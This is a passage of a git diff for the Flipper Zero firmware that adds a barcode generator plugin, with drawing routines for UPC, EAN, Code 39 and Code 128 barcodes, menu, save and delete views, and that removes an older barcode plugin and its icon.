barcode_data->correct_data; + BarcodeTypeObj* type_obj = barcode_data->type_obj; + + int barcode_length = furi_string_size(barcode_digits); + + int x = type_obj->start_pos; + int y = BARCODE_Y_START; + int width = 1; + int height = BARCODE_HEIGHT; + + //the guard patterns for the beginning, center, ending + const char* end_bits = "101"; + const char* center_bits = "01010"; + + //draw the starting guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); + + FuriString* code_part = furi_string_alloc(); + + //loop through each digit, find the encoding, and draw it + for(int i = 0; i < barcode_length; i++) { + char current_digit = furi_string_get_char(barcode_digits, i); + + //the actual number and the index of the bits + int index = current_digit - '0'; + //use the L-codes for the first 4 digits and the R-Codes for the last 4 digits + if(i <= 3) { + furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); + } else { + furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); + } + + //convert the current_digit char into a string so it can be printed + char current_digit_string[2]; + snprintf(current_digit_string, 2, "%c", current_digit); + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); + + //draw the bits of the barcode + x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); + + //if the index has reached 3, that means 4 digits have been drawn and now draw the center guard pattern + if(i == 3) { + x = draw_bits(canvas, center_bits, x, y, width, height + 5); + } + } + furi_string_free(code_part); + + //draw the ending guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); +} + +static void draw_ean_13(Canvas* canvas, BarcodeData* barcode_data) { + FuriString* barcode_digits = barcode_data->correct_data; + BarcodeTypeObj* type_obj = barcode_data->type_obj; + + int barcode_length = furi_string_size(barcode_digits); + + int x = type_obj->start_pos; + int y = BARCODE_Y_START; + int width = 1; + int height = BARCODE_HEIGHT; + + //the guard patterns for the beginning, center, ending + const char* end_bits = "101"; + const char* center_bits = "01010"; + + //draw the starting guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); + + FuriString* left_structure = furi_string_alloc(); + FuriString* code_part = furi_string_alloc(); + + //loop through each digit, find the encoding, and draw it + for(int i = 0; i < barcode_length; i++) { + char current_digit = furi_string_get_char(barcode_digits, i); + int index = current_digit - '0'; + + if(i == 0) { + furi_string_set_str(left_structure, EAN_13_STRUCTURE_CODES[index]); + + //convert the current_digit char into a string so it can be printed + char current_digit_string[2]; + snprintf(current_digit_string, 2, "%c", current_digit); + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + canvas_draw_str(canvas, x - 10, y + height + 8, current_digit_string); + + continue; + } else { + //use the L-codes for the first 6 digits and the R-Codes for the last 6 digits + if(i <= 6) { + //get the encoding type at the current barcode bit position + char encoding_type = furi_string_get_char(left_structure, i - 1); + if(encoding_type == 'L') { + furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); + } else { + furi_string_set_str(code_part, EAN_G_CODES[index]); + } + } else { + furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); + } + + //convert the current_digit char into a string so it can be printed + char current_digit_string[2]; + snprintf(current_digit_string, 2, "%c", current_digit); + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); + + //draw the bits of the barcode + x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); + + //if the index has reached 6, that means 6 digits have been drawn and we now draw the center guard pattern + if(i == 6) { + x = draw_bits(canvas, center_bits, x, y, width, height + 5); + } + } + } + + furi_string_free(left_structure); + furi_string_free(code_part); + + //draw the ending guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); +} + +/** + * Draw a UPC-A barcode +*/ +static void draw_upc_a(Canvas* canvas, BarcodeData* barcode_data) { + FuriString* barcode_digits = barcode_data->correct_data; + BarcodeTypeObj* type_obj = barcode_data->type_obj; + + int barcode_length = furi_string_size(barcode_digits); + + int x = type_obj->start_pos; + int y = BARCODE_Y_START; + int width = 1; + int height = BARCODE_HEIGHT; + + //the guard patterns for the beginning, center, ending + char* end_bits = "101"; + char* center_bits = "01010"; + + //draw the starting guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); + + FuriString* code_part = furi_string_alloc(); + + //loop through each digit, find the encoding, and draw it + for(int i = 0; i < barcode_length; i++) { + char current_digit = furi_string_get_char(barcode_digits, i); + int index = current_digit - '0'; //convert the number into an int (also the index) + + //use the L-codes for the first 6 digits and the R-Codes for the last 6 digits + if(i <= 5) { + furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); + } else { + furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); + } + + //convert the current_digit char into a string so it can be printed + char current_digit_string[2]; + snprintf(current_digit_string, 2, "%c", current_digit); + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); + + //draw the bits of the barcode + x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); + + //if the index has reached 6, that means 6 digits have been drawn and we now draw the center guard pattern + if(i == 5) { + x = draw_bits(canvas, center_bits, x, y, width, height + 5); + } + } + + furi_string_free(code_part); + + //draw the ending guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); +} + +static void draw_code_39(Canvas* canvas, BarcodeData* barcode_data) { + FuriString* raw_data = barcode_data->raw_data; + FuriString* barcode_digits = barcode_data->correct_data; + //BarcodeTypeObj* type_obj = barcode_data->type_obj; + + int barcode_length = furi_string_size(barcode_digits); + int total_pixels = 0; + + for(int i = 0; i < barcode_length; i++) { + //1 for wide, 0 for narrow + char wide_or_narrow = furi_string_get_char(barcode_digits, i); + int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit + + if(wn_digit == 1) { + total_pixels += 3; + } else { + total_pixels += 1; + } + if((i + 1) % 9 == 0) { + total_pixels += 1; + } + } + + int x = (128 - total_pixels) / 2; + int y = BARCODE_Y_START; + int width = 1; + int height = BARCODE_HEIGHT; + bool filled_in = true; + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + // canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); + canvas_draw_str_aligned( + canvas, 62, y + height + 8, AlignCenter, AlignBottom, furi_string_get_cstr(raw_data)); + + for(int i = 0; i < barcode_length; i++) { + //1 for wide, 0 for narrow + char wide_or_narrow = furi_string_get_char(barcode_digits, i); + int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit + + if(filled_in) { + if(wn_digit == 1) { + x = draw_bits(canvas, "111", x, y, width, height); + } else { + x = draw_bits(canvas, "1", x, y, width, height); + } + filled_in = false; + } else { + if(wn_digit == 1) { + x = draw_bits(canvas, "000", x, y, width, height); + } else { + x = draw_bits(canvas, "0", x, y, width, height); + } + filled_in = true; + } + if((i + 1) % 9 == 0) { + x = draw_bits(canvas, "0", x, y, width, height); + filled_in = true; + } + } +} + +static void draw_code_128(Canvas* canvas, BarcodeData* barcode_data) { + FuriString* raw_data = barcode_data->raw_data; + FuriString* barcode_digits = barcode_data->correct_data; + + int barcode_length = furi_string_size(barcode_digits); + + int x = (128 - barcode_length) / 2; + int y = BARCODE_Y_START; + int width = 1; + int height = BARCODE_HEIGHT; + + x = draw_bits(canvas, furi_string_get_cstr(barcode_digits), x, y, width, height); + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + // canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); + canvas_draw_str_aligned( + canvas, 62, y + height + 8, AlignCenter, AlignBottom, furi_string_get_cstr(raw_data)); +} + +static void barcode_draw_callback(Canvas* canvas, void* ctx) { + furi_assert(ctx); + BarcodeModel* barcode_model = ctx; + BarcodeData* data = barcode_model->data; + // const char* barcode_digits =; + + canvas_clear(canvas); + if(data->valid) { + switch(data->type_obj->type) { + case UPCA: + draw_upc_a(canvas, data); + break; + case EAN8: + draw_ean_8(canvas, data); + break; + case EAN13: + draw_ean_13(canvas, data); + break; + case CODE39: + draw_code_39(canvas, data); + break; + case CODE128: + draw_code_128(canvas, data); + break; + case UNKNOWN: + default: + break; + } + } else { + switch(data->reason) { + case WrongNumberOfDigits: + draw_error_str(canvas, "Wrong # of characters"); + break; + case InvalidCharacters: + draw_error_str(canvas, "Invalid characters"); + break; + case UnsupportedType: + draw_error_str(canvas, "Unsupported barcode type"); + break; + case FileOpening: + draw_error_str(canvas, "Could not open file"); + break; + case InvalidFileData: + draw_error_str(canvas, "Invalid file data"); + break; + case MissingEncodingTable: + draw_error_str(canvas, "Missing encoding table"); + break; + case EncodingTableError: + draw_error_str(canvas, "Encoding table error"); + break; + default: + draw_error_str(canvas, "Could not read barcode data"); + break; + } + } +} + +bool barcode_input_callback(InputEvent* input_event, void* ctx) { + UNUSED(ctx); + //furi_assert(ctx); + + //Barcode* test_view_object = ctx; + + if(input_event->key == InputKeyBack) { + return false; + } else { + return true; + } +} + +Barcode* barcode_view_allocate(BarcodeApp* barcode_app) { + furi_assert(barcode_app); + + Barcode* barcode = malloc(sizeof(Barcode)); + + barcode->view = view_alloc(); + barcode->barcode_app = barcode_app; + + view_set_context(barcode->view, barcode); + view_allocate_model(barcode->view, ViewModelTypeLocking, sizeof(BarcodeModel)); + view_set_draw_callback(barcode->view, barcode_draw_callback); + view_set_input_callback(barcode->view, barcode_input_callback); + + return barcode; +} + +void barcode_free_model(Barcode* barcode) { + with_view_model( + barcode->view, + BarcodeModel * model, + { + if(model->file_path != NULL) { + furi_string_free(model->file_path); + } + if(model->data != NULL) { + if(model->data->raw_data != NULL) { + furi_string_free(model->data->raw_data); + } + if(model->data->correct_data != NULL) { + furi_string_free(model->data->correct_data); + } + free(model->data); + } + }, + false); +} + +void barcode_free(Barcode* barcode) { + furi_assert(barcode); + + barcode_free_model(barcode); + view_free(barcode->view); + free(barcode); +} + +View* barcode_get_view(Barcode* barcode) { + furi_assert(barcode); + return barcode->view; +} \ No newline at end of file diff --git a/applications/plugins/barcode_gen/views/barcode_view.h b/applications/plugins/barcode_gen/views/barcode_view.h new file mode 100644 index 000000000..828428c08 --- /dev/null +++ b/applications/plugins/barcode_gen/views/barcode_view.h @@ -0,0 +1,23 @@ +#pragma once + +#include + +typedef struct BarcodeApp BarcodeApp; + +typedef struct { + View* view; + BarcodeApp* barcode_app; +} Barcode; + +typedef struct { + FuriString* file_path; + BarcodeData* data; +} BarcodeModel; + +Barcode* barcode_view_allocate(BarcodeApp* barcode_app); + +void barcode_free_model(Barcode* barcode); + +void barcode_free(Barcode* barcode); + +View* barcode_get_view(Barcode* barcode); diff --git a/applications/plugins/barcode_gen/views/create_view.c b/applications/plugins/barcode_gen/views/create_view.c new file mode 100644 index 000000000..23a5fa409 --- /dev/null +++ b/applications/plugins/barcode_gen/views/create_view.c @@ -0,0 +1,493 @@ +#include "../barcode_app.h" +#include "create_view.h" +#include + +#define LINE_HEIGHT 16 +#define TEXT_PADDING 4 +#define TOTAL_MENU_ITEMS 5 + +typedef enum { + TypeMenuItem, + FileNameMenuItem, + BarcodeDataMenuItem, + SaveMenuButton, + DeleteMenuButton +} MenuItems; + +/** + * Took this function from blackjack + * @author @teeebor +*/ +void draw_menu_item( + Canvas* const canvas, + const char* text, + const char* value, + int y, + bool left_caret, + bool right_caret, + bool selected) { + UNUSED(selected); + if(y < 0 || y >= 64) { + return; + } + + if(selected) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_box(canvas, 0, y, 123, LINE_HEIGHT); + canvas_set_color(canvas, ColorWhite); + } + + canvas_draw_str_aligned(canvas, 4, y + TEXT_PADDING, AlignLeft, AlignTop, text); + if(left_caret) { + canvas_draw_str_aligned(canvas, 60, y + TEXT_PADDING, AlignLeft, AlignTop, "<"); + } + + canvas_draw_str_aligned(canvas, 90, y + TEXT_PADDING, AlignCenter, AlignTop, value); + if(right_caret) { + canvas_draw_str_aligned(canvas, 120, y + TEXT_PADDING, AlignRight, AlignTop, ">"); + } + + canvas_set_color(canvas, ColorBlack); +} + +void draw_button(Canvas* const canvas, const char* text, int y, bool selected) { + if(selected) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_box(canvas, 0, y, 123, LINE_HEIGHT); + canvas_set_color(canvas, ColorWhite); + } + + canvas_draw_str_aligned(canvas, 64, y + TEXT_PADDING, AlignCenter, AlignTop, text); + + canvas_set_color(canvas, ColorBlack); +} + +static void app_draw_callback(Canvas* canvas, void* ctx) { + furi_assert(ctx); + + CreateViewModel* create_view_model = ctx; + + BarcodeTypeObj* type_obj = create_view_model->barcode_type; + if(create_view_model->barcode_type == NULL) { + return; + } + BarcodeType selected_type = type_obj->type; + + int selected_menu_item = create_view_model->selected_menu_item; + + int total_menu_items = create_view_model->mode == EditMode ? TOTAL_MENU_ITEMS : + TOTAL_MENU_ITEMS - 1; + + int startY = 0; + + //the menu items index that is/would be in view + //int current_last_menu_item = selected_menu_item + 3; + if(selected_menu_item > 1) { + int offset = 2; + if(selected_menu_item + offset > total_menu_items) { + offset = 3; + } + startY -= (LINE_HEIGHT * (selected_menu_item - offset)); + } + + //ensure that the scroll height is atleast 1 + int scrollHeight = ceil(64.0 / total_menu_items); + int scrollPos = scrollHeight * selected_menu_item; + + canvas_set_color(canvas, ColorBlack); + //draw the scroll bar box + canvas_draw_box(canvas, 125, scrollPos, 3, scrollHeight); + //draw the scroll bar track + canvas_draw_box(canvas, 126, 0, 1, 64); + + draw_menu_item( + canvas, + "Type", + type_obj->name, + TypeMenuItem * LINE_HEIGHT + startY, + selected_type > 0, + selected_type < NUMBER_OF_BARCODE_TYPES - 2, + selected_menu_item == TypeMenuItem); + + draw_menu_item( + canvas, + "Name", + furi_string_empty(create_view_model->file_name) ? + "--" : + furi_string_get_cstr(create_view_model->file_name), + FileNameMenuItem * LINE_HEIGHT + startY, + false, + false, + selected_menu_item == FileNameMenuItem); + + draw_menu_item( + canvas, + "Data", + furi_string_empty(create_view_model->barcode_data) ? + "--" : + furi_string_get_cstr(create_view_model->barcode_data), + BarcodeDataMenuItem * LINE_HEIGHT + startY, + false, + false, + selected_menu_item == BarcodeDataMenuItem); + + draw_button( + canvas, + "Save", + SaveMenuButton * LINE_HEIGHT + startY, + selected_menu_item == SaveMenuButton); + + if(create_view_model->mode == EditMode) { + draw_button( + canvas, + "Delete", + DeleteMenuButton * LINE_HEIGHT + startY, + selected_menu_item == DeleteMenuButton); + } +} + +void text_input_callback(void* ctx) { + CreateView* create_view_object = ctx; + + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + if(create_view_object->setter == FileNameSetter) { + furi_string_set_str(model->file_name, create_view_object->input); + } + if(create_view_object->setter == BarcodeDataSetter) { + furi_string_set_str(model->barcode_data, create_view_object->input); + } + }, + true); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, CreateBarcodeView); +} + +static bool app_input_callback(InputEvent* input_event, void* ctx) { + furi_assert(ctx); + + if(input_event->key == InputKeyBack) { + return false; + } + + CreateView* create_view_object = ctx; + + //get the currently selected menu item from the model + int selected_menu_item = 0; + BarcodeTypeObj* barcode_type = NULL; + FuriString* file_name; + FuriString* barcode_data; + CreateMode mode; + + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + selected_menu_item = model->selected_menu_item; + barcode_type = model->barcode_type; + file_name = model->file_name; + barcode_data = model->barcode_data; + mode = model->mode; + }, + true); + + int total_menu_items = mode == EditMode ? TOTAL_MENU_ITEMS : TOTAL_MENU_ITEMS - 1; + + if(input_event->type == InputTypePress) { + if(input_event->key == InputKeyUp && selected_menu_item > 0) { + selected_menu_item--; + } else if(input_event->key == InputKeyDown && selected_menu_item < total_menu_items - 1) { + selected_menu_item++; + } else if(input_event->key == InputKeyLeft) { + if(selected_menu_item == TypeMenuItem && barcode_type != NULL) { //Select Barcode Type + if(barcode_type->type > 0) { + barcode_type = barcode_type_objs[barcode_type->type - 1]; + } + } + } else if(input_event->key == InputKeyRight) { + if(selected_menu_item == TypeMenuItem && barcode_type != NULL) { //Select Barcode Type + if(barcode_type->type < NUMBER_OF_BARCODE_TYPES - 2) { + barcode_type = barcode_type_objs[barcode_type->type + 1]; + } + } + } else if(input_event->key == InputKeyOk) { + if(selected_menu_item == FileNameMenuItem && barcode_type != NULL) { + create_view_object->setter = FileNameSetter; + + snprintf( + create_view_object->input, + sizeof(create_view_object->input), + "%s", + furi_string_get_cstr(file_name)); + + text_input_set_result_callback( + create_view_object->barcode_app->text_input, + text_input_callback, + create_view_object, + create_view_object->input, + TEXT_BUFFER_SIZE - BARCODE_EXTENSION_LENGTH, //remove the barcode length + //clear default text + false); + text_input_set_header_text( + create_view_object->barcode_app->text_input, "File Name"); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, TextInputView); + } + if(selected_menu_item == BarcodeDataMenuItem && barcode_type != NULL) { + create_view_object->setter = BarcodeDataSetter; + + snprintf( + create_view_object->input, + sizeof(create_view_object->input), + "%s", + furi_string_get_cstr(barcode_data)); + + text_input_set_result_callback( + create_view_object->barcode_app->text_input, + text_input_callback, + create_view_object, + create_view_object->input, + TEXT_BUFFER_SIZE, + //clear default text + false); + text_input_set_header_text( + create_view_object->barcode_app->text_input, "Barcode Data"); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, TextInputView); + } + if(selected_menu_item == SaveMenuButton && barcode_type != NULL) { + save_barcode(create_view_object); + } + if(selected_menu_item == DeleteMenuButton && barcode_type != NULL) { + if(mode == EditMode) { + remove_barcode(create_view_object); + } else if(mode == NewMode) { + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, MainMenuView); + } + } + } + } + + //change the currently selected menu item + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + model->selected_menu_item = selected_menu_item; + model->barcode_type = barcode_type; + }, + true); + + return true; +} + +CreateView* create_view_allocate(BarcodeApp* barcode_app) { + furi_assert(barcode_app); + + CreateView* create_view_object = malloc(sizeof(CreateView)); + + create_view_object->view = view_alloc(); + create_view_object->barcode_app = barcode_app; + + view_set_context(create_view_object->view, create_view_object); + view_allocate_model(create_view_object->view, ViewModelTypeLocking, sizeof(CreateViewModel)); + view_set_draw_callback(create_view_object->view, app_draw_callback); + view_set_input_callback(create_view_object->view, app_input_callback); + + return create_view_object; +} + +void create_view_free_model(CreateView* create_view_object) { + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + if(model->file_path != NULL) { + furi_string_free(model->file_path); + } + if(model->file_name != NULL) { + furi_string_free(model->file_name); + } + if(model->barcode_data != NULL) { + furi_string_free(model->barcode_data); + } + }, + true); +} + +void remove_barcode(CreateView* create_view_object) { + Storage* storage = furi_record_open(RECORD_STORAGE); + + bool success = false; + + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + FURI_LOG_I(TAG, "Attempting to remove file"); + if(model->file_path != NULL) { + FURI_LOG_I(TAG, "Removing File: %s", furi_string_get_cstr(model->file_path)); + if(storage_simply_remove(storage, furi_string_get_cstr(model->file_path))) { + FURI_LOG_I( + TAG, + "File: \"%s\" was successfully removed", + furi_string_get_cstr(model->file_path)); + success = true; + } else { + FURI_LOG_E(TAG, "Unable to remove file!"); + success = false; + } + } else { + FURI_LOG_E(TAG, "Could not remove barcode file"); + success = false; + } + }, + true); + furi_record_close(RECORD_STORAGE); + + with_view_model( + create_view_object->barcode_app->message_view->view, + MessageViewModel * model, + { + if(success) { + model->message = "File Deleted"; + } else { + model->message = "Could not delete file"; + } + }, + true); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, MessageErrorView); +} + +void save_barcode(CreateView* create_view_object) { + BarcodeTypeObj* barcode_type = NULL; + FuriString* file_path; //this may be empty + FuriString* file_name; + FuriString* barcode_data; + CreateMode mode; + + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + file_path = model->file_path; + file_name = model->file_name; + barcode_data = model->barcode_data; + barcode_type = model->barcode_type; + mode = model->mode; + }, + true); + + if(file_name == NULL || furi_string_empty(file_name)) { + FURI_LOG_E(TAG, "File Name cannot be empty"); + return; + } + if(barcode_data == NULL || furi_string_empty(barcode_data)) { + FURI_LOG_E(TAG, "Barcode Data cannot be empty"); + return; + } + if(barcode_type == NULL) { + FURI_LOG_E(TAG, "Type not defined"); + return; + } + + bool success = false; + + FuriString* full_file_path = furi_string_alloc_set(DEFAULT_USER_BARCODES); + furi_string_push_back(full_file_path, '/'); + furi_string_cat(full_file_path, file_name); + furi_string_cat_str(full_file_path, BARCODE_EXTENSION); + + Storage* storage = furi_record_open(RECORD_STORAGE); + + if(mode == EditMode) { + if(!furi_string_empty(file_path)) { + if(!furi_string_equal(file_path, full_file_path)) { + FS_Error error = storage_common_rename( + storage, + furi_string_get_cstr(file_path), + furi_string_get_cstr(full_file_path)); + if(error != FSE_OK) { + FURI_LOG_E(TAG, "Rename error: %s", storage_error_get_desc(error)); + } else { + FURI_LOG_I(TAG, "Rename Success"); + } + } + } + } + + FlipperFormat* ff = flipper_format_file_alloc(storage); + + FURI_LOG_I(TAG, "Saving Barcode to: %s", furi_string_get_cstr(full_file_path)); + + bool file_opened_status = false; + if(mode == NewMode) { + file_opened_status = + flipper_format_file_open_new(ff, furi_string_get_cstr(full_file_path)); + } else if(mode == EditMode) { + file_opened_status = + flipper_format_file_open_always(ff, furi_string_get_cstr(full_file_path)); + } + + if(file_opened_status) { + // Filetype: Barcode + // Version: 1 + + // # Types - UPC-A, EAN-8, EAN-13, CODE-39 + // Type: CODE-39 + // Data: AB + flipper_format_write_string_cstr(ff, "Filetype", "Barcode"); + + flipper_format_write_string_cstr(ff, "Version", FILE_VERSION); + + flipper_format_write_comment_cstr(ff, "Types - UPC-A, EAN-8, EAN-13, CODE-39, CODE-128"); + + flipper_format_write_string_cstr(ff, "Type", barcode_type->name); + + flipper_format_write_string_cstr(ff, "Data", furi_string_get_cstr(barcode_data)); + + success = true; + } else { + FURI_LOG_E(TAG, "Save error"); + success = false; + } + furi_string_free(full_file_path); + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + with_view_model( + create_view_object->barcode_app->message_view->view, + MessageViewModel * model, + { + if(success) { + model->message = "File Saved!"; + } else { + model->message = "A saving error has occurred"; + } + }, + true); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, MessageErrorView); +} + +void create_view_free(CreateView* create_view_object) { + furi_assert(create_view_object); + + create_view_free_model(create_view_object); + view_free(create_view_object->view); + free(create_view_object); +} + +View* create_get_view(CreateView* create_view_object) { + furi_assert(create_view_object); + return create_view_object->view; +} \ No newline at end of file diff --git a/applications/plugins/barcode_gen/views/create_view.h b/applications/plugins/barcode_gen/views/create_view.h new file mode 100644 index 000000000..6063786d9 --- /dev/null +++ b/applications/plugins/barcode_gen/views/create_view.h @@ -0,0 +1,46 @@ +#pragma once + +#include + +typedef struct BarcodeApp BarcodeApp; + +typedef enum { + FileNameSetter, + BarcodeDataSetter +} InputSetter; //what value to set for the text input view + +typedef enum { + EditMode, + + NewMode +} CreateMode; + +typedef struct { + View* view; + BarcodeApp* barcode_app; + + InputSetter setter; + char input[TEXT_BUFFER_SIZE]; +} CreateView; + +typedef struct { + int selected_menu_item; + + CreateMode mode; + BarcodeTypeObj* barcode_type; + FuriString* file_path; //the current file that is opened + FuriString* file_name; + FuriString* barcode_data; +} CreateViewModel; + +CreateView* create_view_allocate(BarcodeApp* barcode_app); + +void remove_barcode(CreateView* create_view_object); + +void save_barcode(CreateView* create_view_object); + +void create_view_free_model(CreateView* create_view_object); + +void create_view_free(CreateView* create_view_object); + +View* create_get_view(CreateView* create_view_object); diff --git a/applications/plugins/barcode_gen/views/message_view.c b/applications/plugins/barcode_gen/views/message_view.c new file mode 100644 index 000000000..2ef0ebc06 --- /dev/null +++ b/applications/plugins/barcode_gen/views/message_view.c @@ -0,0 +1,77 @@ +#include "../barcode_app.h" +#include "message_view.h" + +static void app_draw_callback(Canvas* canvas, void* ctx) { + furi_assert(ctx); + + MessageViewModel* message_view_model = ctx; + + canvas_clear(canvas); + if(message_view_model->message != NULL) { + canvas_draw_str_aligned( + canvas, 62, 30, AlignCenter, AlignCenter, message_view_model->message); + } + + canvas_set_color(canvas, ColorBlack); + canvas_draw_box(canvas, 100, 52, 28, 12); + canvas_set_color(canvas, ColorWhite); + canvas_draw_str_aligned(canvas, 114, 58, AlignCenter, AlignCenter, "OK"); +} + +static bool app_input_callback(InputEvent* input_event, void* ctx) { + furi_assert(ctx); + + MessageView* message_view_object = ctx; + + if(input_event->key == InputKeyBack) { + view_dispatcher_switch_to_view( + message_view_object->barcode_app->view_dispatcher, MainMenuView); + } + if(input_event->type == InputTypeShort) { + if(input_event->key == InputKeyOk) { + view_dispatcher_switch_to_view( + message_view_object->barcode_app->view_dispatcher, MainMenuView); + } + } + + return true; +} + +MessageView* message_view_allocate(BarcodeApp* barcode_app) { + furi_assert(barcode_app); + + MessageView* message_view_object = malloc(sizeof(MessageView)); + + message_view_object->view = view_alloc(); + message_view_object->barcode_app = barcode_app; + + view_set_context(message_view_object->view, message_view_object); + view_allocate_model(message_view_object->view, ViewModelTypeLocking, sizeof(MessageViewModel)); + view_set_draw_callback(message_view_object->view, app_draw_callback); + view_set_input_callback(message_view_object->view, app_input_callback); + + return message_view_object; +} + +void message_view_free_model(MessageView* message_view_object) { + with_view_model( + message_view_object->view, + MessageViewModel * model, + { + UNUSED(model); + }, + true); +} + +void message_view_free(MessageView* message_view_object) { + furi_assert(message_view_object); + + message_view_free_model(message_view_object); + view_free(message_view_object->view); + free(message_view_object); +} + +View* message_get_view(MessageView* message_view_object) { + furi_assert(message_view_object); + return message_view_object->view; +} diff --git a/applications/plugins/barcode_gen/views/message_view.h b/applications/plugins/barcode_gen/views/message_view.h new file mode 100644 index 000000000..33acc3d0c --- /dev/null +++ b/applications/plugins/barcode_gen/views/message_view.h @@ -0,0 +1,22 @@ +#pragma once + +#include + +typedef struct BarcodeApp BarcodeApp; + +typedef struct { + View* view; + BarcodeApp* barcode_app; +} MessageView; + +typedef struct { + const char* message; +} MessageViewModel; + +MessageView* message_view_allocate(BarcodeApp* barcode_app); + +void message_view_free_model(MessageView* message_view_object); + +void message_view_free(MessageView* message_view_object); + +View* message_get_view(MessageView* message_view_object); diff --git a/applications/plugins/barcode_generator/application.fam b/applications/plugins/barcode_generator/application.fam deleted file mode 100644 index a02255334..000000000 --- a/applications/plugins/barcode_generator/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="Barcode_Generator", - name="Barcode Generator", - apptype=FlipperAppType.EXTERNAL, - entry_point="barcode_generator_app", - cdefines=["APP_BARCODE_GEN"], - requires=[ - "gui", - "dialogs", - ], - stack_size=1 * 1024, - order=50, - fap_icon="barcode_10px.png", - fap_category="Misc", -) diff --git a/applications/plugins/barcode_generator/barcode_10px.png b/applications/plugins/barcode_generator/barcode_10px.png deleted file mode 100644 index 7c19c665687e0e6f81a805511af4d8ed409b54bc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2363 zcmcIleQeZZ81FWfF+QB4FvMlG7#NXWKkwSN?ikzM?JL~4Z6|D~fnNLeR(IEyYq#AN z%oaruB@i%+Xe3Ao#)CCTV+^Ork;KJQyBnW;32#3Z*#BN*U?_IKaeUzS z(mh7`Q{OyWxU&9K%`bDe6`dY_KCpfM-7jDH?cf#g@cDuxu}cScwCuRreyr!qeaC+| zcX^3+pm4DHz|o##-B{_$tsj?NnJ6B-6doDp&s-m1E8c1?Xn7AZ;Hz?we2wykvY;APuiu^WudPi-z(SN?R@;HLcx zzv`HXo_hy&To_+b^XT3=ukAU{ovhfot7*~2FItwIohaJER3wD*lN;WD_rq%gfBEmb zbQKzh>WkN|_AlwENgwtMJW=-eD?i6Rv6e2Jko%+Rh+v&4n0F%d!KN2}U0k(r02@2A z{?Dsz)n`#A=UNRNHipexmF-j2N>s1GtI`r8NJ2-()5(Nk zOKCrm;g!(Zy-g8#2I6%2iEKgJ!x21SrXVhO7*e5W8fO@vM+B;mlj+qsOS25cFcd42 zEF;lC;y66_AyB-Os!6TEx?D7Lg|^w9QedbD8qV^3FssvaOuN&(gSN@XwZJ((Pu#-JdnCYAT3h zGMkbHfmhKWPx68YNKWHpB=89W$)F&DLi0Qq6Z35AQ#$G$IWd*hRiz?EFAG&o0D#nF zD3F@KE2QWZASo!K07OLqng|H|X54_8FjHYuMcL&DTva5^OeJOHA3Z6@A!QkH*Ug9> zouWavQR(_}{m}-u=2i(E&zMe<71!&2LUD@>RU&s=pC)^=)0w61?SzPQhT>;owy8P2 zathYOQKtXZT-2S!+j7s$(tTc$<9v#jgtU(%V*<~UKm;rac%W!BOZx;LlRx_ZB0ZN@ zrBgQI5WPAn;=dneb}pW_4*%?{+19~3waK%aZaWO+zAv*5qi#3fP4ng(pa!+3YfU>> z(^@$`S=}|$_ZtmF=mQKSQNQ>|p64|ZXsSxGKn9G)sv>06s*H++ev>QTWdUDpD8SOZ z;HwiECKM1uAW+NlLC#mlhXQr%l${xltRQM;hMI%NYqvc2H!SJ|umAu6 diff --git a/applications/plugins/barcode_generator/barcode_generator.c b/applications/plugins/barcode_generator/barcode_generator.c deleted file mode 100644 index 2645bbcea..000000000 --- a/applications/plugins/barcode_generator/barcode_generator.c +++ /dev/null @@ -1,447 +0,0 @@ -#include "barcode_generator.h" - -static BarcodeType* barcodeTypes[NUMBER_OF_BARCODE_TYPES]; - -void init_types() { - BarcodeType* upcA = malloc(sizeof(BarcodeType)); - upcA->name = "UPC-A"; - upcA->numberOfDigits = 12; - upcA->startPos = 19; - upcA->bartype = BarTypeUPCA; - barcodeTypes[0] = upcA; - - BarcodeType* ean8 = malloc(sizeof(BarcodeType)); - ean8->name = "EAN-8"; - ean8->numberOfDigits = 8; - ean8->startPos = 33; - ean8->bartype = BarTypeEAN8; - 